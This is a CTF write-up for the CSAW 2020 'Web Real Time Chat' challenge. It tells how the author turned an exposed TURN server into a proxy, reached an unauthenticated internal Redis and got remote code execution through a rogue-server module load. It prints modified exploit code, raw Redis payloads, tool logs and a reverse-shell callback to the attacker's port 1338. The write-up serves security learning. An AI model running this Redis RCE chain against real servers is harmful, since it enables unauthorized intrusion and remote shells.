Tags: proxy redis rce web 

Rating: 5.0

I haven't written anything in a long time. More than a year has passed since my last post, and more than 3 years since my first one.

However, I decided to start writing some writeups for CTFs again. This is the first one I'll be doing: CSAW quals. For this CTF, I was part of the team M@dHatters for this CTF, which was the team associated with Gatech's GreyHat club.

We were in the lead for a while in the middle, but then ran out of web and crypto problems to solve and everyone got near 100% completion. I'm still salty about that.

Web Real Time Chat
450 points, Web

This was a very interesting problem with very little guessing, compared to the two lower point webs, which were a guessfest. From the Docker configuration provided, we were able to figure out that there was a TURN server on the machine. It turns out that TURN is a protocol used for getting through NATs. That sounds very much like a proxy, and we could use it as such.
Unfortunately, I couldn't find many tools to interface with TURN, so I settled on an "a bit flaky" (but semi-functioning) proof-of-concept to convert a TURN server into an HTTP proxy called Turner on GitHub. Proxychains came in really useful after that - I made a copy of proxychains.conf and replaced all proxy servers to http 8080, the Turner server. Knowing that the docker container had an open port on port 5000, I was able to map the internal Docker network by accessing port 5000 on the lower few values of The first challenge (widthless) was available on, the third was available from, and this challenge was available from As we can see, by curling, we were able to get the HTML source of the website. (Note: turner is not 100% reliable, so it sometimes fails)
$ proxychains curl
[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/turner-master/proxychain/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... ... ... OK

<title>Real Time Chat</title>

<div id="container">
<h1>Real Time Chat</h1>

<h3 id="status"></h3>

<textarea id="dataChannelReceive" style="width: 100%" disabled></textarea>

<div id="send">
<input type="text" id="dataChannelSend" placeholder="Send a message" disabled></input>
<button id="sendButton" disabled>Send</button>

<button id="closeButton" disabled>Disconnect</button>

<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
<script src="static/rtc.js"></script>
Now, through the Dockerfile, we know that there is a redis server installed on this machine too, but not exposed to the outside world. However, it is exposed to the internal docker network, and due to lack of username/password configuration, can be connected to and used by anyone. I tried connecting to it with
$ proxychains redis-cli -h
a few times, but that went nowhere, as I would get some gibberish output followed by a connection drop. So, I familiarized myself with the redis protocol.
It turns out that the redis protocol is just nicely-formatted commands and outputs with some length pre-specifications. Here is an example of a redis request and response (everything after # not part of the protocol):
*2\r\n # Redis requires a CRLF instead of just LF for line separations. This is represented by \r\n. This specifies a command with two arguments (including the command itself)
$4\r\n # This specifies that the next line will be 4 characters in length.
KEYS\r\n # This is the redis KEYS command, which prints out keys.
$1\r\n # This specifies that the next line will be 1 character in length.
*\r\n # KEYS * prints out all the keys.
After querying the server a few times, it turns out that there isn't any data in the database that contains the flag, even after making a script to dump the entire database:
$ cat tryHard.sh

./turner -server web.chal.csaw.io:3478 2>&1 | grep channel &
sleep 1
REDISRES="$(echo -ne '*2\r\n$4\r\nKEYS\r\n$1\r\n*\r\n' | proxychains nc 6379)"
NUMARGS=$(("`echo $REDISRES | grep '\*' | tr -d '*'`" + 1))
ARGS="`echo $REDISRES | grep '\$' -A1`"
echo -ne "*$NUMARGS\r\n\$4\r\nMGET\r\n$ARGS" | proxychains nc 6379
proxychains curl
kill $A &>/dev/null
sleep 0.25
I guess we needed RCE. Through Google, I found a script that promised that for Redis v4-v5, and a binary to go along with it. If we send an INFO query to the server, it says it's running on redis v4. Perfect.
Unforunately, due to the HTTP server being finnicky and connections getting dropped, I had to restart the redis connection after every single request is sent. For that, I had to modify the script to support multiple commands at once, and not reuse the same connection:
def do(self, cmd):
toSend = ""
if type(cmd) == str:
toSend = mk_cmd(cmd)
for c in cmd:
toSend += mk_cmd(c)
self.send(toSend) # Added multi-command functionality
buf = self.recv()
return buf


remote.do(("SLAVEOF {} {}".format(lhost, lport), "CONFIG SET DIR /tmp/",
"CONFIG SET dbfilename {}".format(expfile))) # Compressed multiple requests into one
print("[*] Start listening on {}:{}".format(lhost, lport))
rogue = RogueServer(lhost, lport, remote, expfile)
print("[*] Tring to run payload")
remote = Remote(rhost, rport) # Restart the connection on every request
remote.do("MODULE LOAD /tmp/{}".format(expfile))
remote = Remote(rhost, rport)
rsaddr = "" # Totally my IP address
rsport = 1338
remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport))) # Open reverse shell right away
After making the modifications, though, the server was still having a problem with loading the module. I believed this was because Alpine Linux, Docker's default container, uses musl instead of glibc, so is incompatible with binaries compiled for my system. I solved this by downloading musl-gcc from the Arch repos and cross-compiling.
$ make CC=musl-gcc # Note that the output shows the commands now use musl-gcc.
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o util.o util.c
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o strings.o strings.c
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o sds.o sds.c
By uploading our new musl-compiled payload, we get back a reverse shell at port 1338 on our machine.
$ proxychains python2 redis-rce.py -r -p 6379 -L -P 1337 -f exp_musl.so -v
[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/redis-rce-master/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14

█▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄
█ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀
█▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄
█ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀
█ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀
▀ ▀

[*] Connecting to
[proxychains] Strict chain ... ... ... OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from
[*] Setting filename
[<-] '*3\r\n$7\r\nSLAVEOF\r\n$13\r\n1.2.3.4\r\n$4\r\n1337\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$5\r\n/tmp/\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$11\r\nexp_musl.so\r\n'
[->] +OK

[+] Accepted connection from
[*] Start listening on
[*] Tring to run payload
[+] Accepted connection from
[->] PING

[<-] '+PONG\r\n'
[->] REPLCONF listening-port 6379

[<-] '+OK\r\n'
[->] REPLCONF capa eof capa psync2

[<-] '+OK\r\n'
[->] PSYNC 55427622da7ebca4741e350aaac1f5828e4b884f 1

[<-] '+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 0\r\n$46672\r\n\x7fELF\x02......x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[proxychains] Strict chain ... ... ... OK
[<-] '*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$16\r\n/tmp/exp_musl.so\r\n'
[->] +OK

[proxychains] Strict chain ... ... ... OK
[<-] '*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n*3\r\n$10\r\nsystem.rev\r\n$13\r\n1.2.3.4\r\n$4\r\n1338\r\n'
^CTraceback (most recent call last):
File "redis-rce.py", line 281, in <module>
File "redis-rce.py", line 276, in main
runserver(options.rhost, options.rport, options.lhost, options.lport)
File "redis-rce.py", line 231, in runserver
remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport)))
File "redis-rce.py", line 89, in do
buf = self.recv()
File "redis-rce.py", line 79, in recv
return din(self._sock, cnt)
File "redis-rce.py", line 37, in din
msg = sock.recv(cnt)
And on our reverse shell:
$ nc -lp 1338
cd /
cat flag.txt

Original writeup (https://www.id0.one/blog/content/4.bp.html#web450).